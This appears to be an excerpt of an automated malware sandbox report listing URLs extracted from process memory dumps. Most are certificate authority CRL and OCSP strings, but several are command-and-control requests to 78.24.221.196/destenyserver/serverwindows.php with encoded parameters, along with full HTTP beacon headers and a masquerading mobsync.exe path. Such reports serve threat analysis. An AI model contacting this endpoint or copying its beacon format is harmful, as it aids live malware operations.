"http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5od1r06x7y1%2+jopijlf0]ko)entrust.net1;092www.entrust.net/cps" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl!h.$j>qq1nej-+\lu>gvpob\hzagxr" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?com1" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.cencdn" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\8b744166eecace320158f4d0f704b13e.exe.configc:\8b744166eecace320158f4d0f704b13e.exe.configfile:///c:/8b744166eecace320158f4d0f704b13e.exec:/8b744166eecace320158f4d0f704b13e.exec:\8b744166eecace320158f4d0f704b13e.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found URL "http://78.24.221.196/destenyserver/serverwindows.php?jgfkembise90cqpdhq=urobgqhkmu4m&twcjon7dcnpqogxnu2jpks0uf846=onx2hgfogz3t3re&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gzifjm5ewy2ijzwewo5etykrgnyi2mkfwo4umm3qmzxqgzxatnhhjm&jgfkembise90cqpdhq=urobgqhkmu4m&twcjon7dcnpqogxnu2jpks0uf846=onx2hgfogz3t3real," - Source: "00000000-00003900.00000001.137884.00330000.00000004.mdmp") Found URL "http://r11.o.lencr.org0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://r11.i.lencr.org/0)*.kozlovlive.rukozlovlive.ru0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0th%*f@'" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czchc'rtc'rpc'r" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'f'+1ug'r!dg'rerkg'rmazg'r" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0^4," - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5osalt" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9nu'rtu'r0)" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/entrust.net1;092www.entrust.net/cps" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl!h.$js'r[s'rh>qq1s'r07$s'r" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0e0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0(+pw)salt" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr," - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nentrust.net1;092www.entrust.net/cps" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7internet1verisign," - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!ki0!!salt" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!%2+jo,'r9,'ru,'rio,'rut,'rtr,'r1z,'r1,'rig,'r" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/o" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.pub/'rtrcom/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0v5'rr5'r^5'rz5'r1yf5'rpijlf0b5'r7n5'r4j5'rv5'rr5'r" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?com1" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00003900.00000001.137884.03D60000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\windows\system32\ntdll\mobsync.exe.configc:\windows\system32\ntdll\mobsync.exe.configfile:///c:/windows/system32/ntdll/mobsync.exec:/windows/system32/ntdll/mobsync.exec:\windows\system32\ntdll\mobsync.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp") Found URL "http://r11.o.lencr.org0" - Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp") Found URL "http://r11.i.lencr.org/0)*.kozlovlive.rukozlovlive.ru0" - Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0th%*f@'" - Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0990709183120z190709184036z0salt" - Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp") Found URL "http://78.24.221.196/destenyserver/serverwindows.php?qwnjwoku1jscj2ae=5pqaxxihuhu602wxi7fenmhsd&pyh3xgyjf9d=s8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gzifjm5ewy2ijzwewo5etykrgnyi2mkfwo4umm3qmzxqgzxatnhhjm&qwnjwoku1jscj2ae=5pqaxxihuhu602wxi7fenmhsd&pyh3xgyjf9d=s8flocal" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://r11.o.lencr.org0" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://r11.i.lencr.org/0)*.kozlovlive.rukozlovlive.ru0" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0th%*f@'" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc0?1$0" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/9ckxsalt" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o^4," - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl!h.$j>qq1t8bhnej-+\lu>gvpob\hzagxr" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?@[6gcom1" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnmnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00004000.00000001.134249.04650000.00000004.mdmp") Found URL "http://78.24.221.196/destenyserver/serverwindows.php?yq3xilbsupxqy1hw=xaqvqrf3sn3dgetr&eljfvqzmp7wkiu=gum2mii8xe0xioxko8ywvwycu&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gzifjm5ewy2ijzwewo5etykrgnyi2mkfwo4umm3qmzxqgzxatnhhjm&yq3xilbsupxqy1hw=xaqvqrf3sn3dgetr&eljfvqzmp7wkiu=gum2mii8xe0xioxko8ywvwycum.servicemodel.configuration.webhttpendpointcollectionelement," - Source: "00000000-00005812.00000001.135828.00430000.00000004.mdmp") Found URL "http://r11.o.lencr.org0" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://r11.i.lencr.org/0)*.kozlovlive.rukozlovlive.ru0" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://x1.i.lencr.org/0http://x1.c.lencr.org/0th%*f@'" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czct" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl00p1+0)" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/salt" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o^4," - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7]ko)tsz'entrust.net1;092www.entrust.net/cps" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl!h.$j>qq1nej-+\lu>gvpob\hzagxr" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?asyccom1" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://logo.verisign..gif0\:oj?xx4bbz69]mnk't" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0nf:8" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005812.00000001.135828.05050000.00000004.mdmp")47:T2104,Contains base62 string in header "2c16ab42a9ec431843e9303d0fd9b8ec=" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "a5f9089893fb7f884e1a8d017251cf23=" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFW" in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header 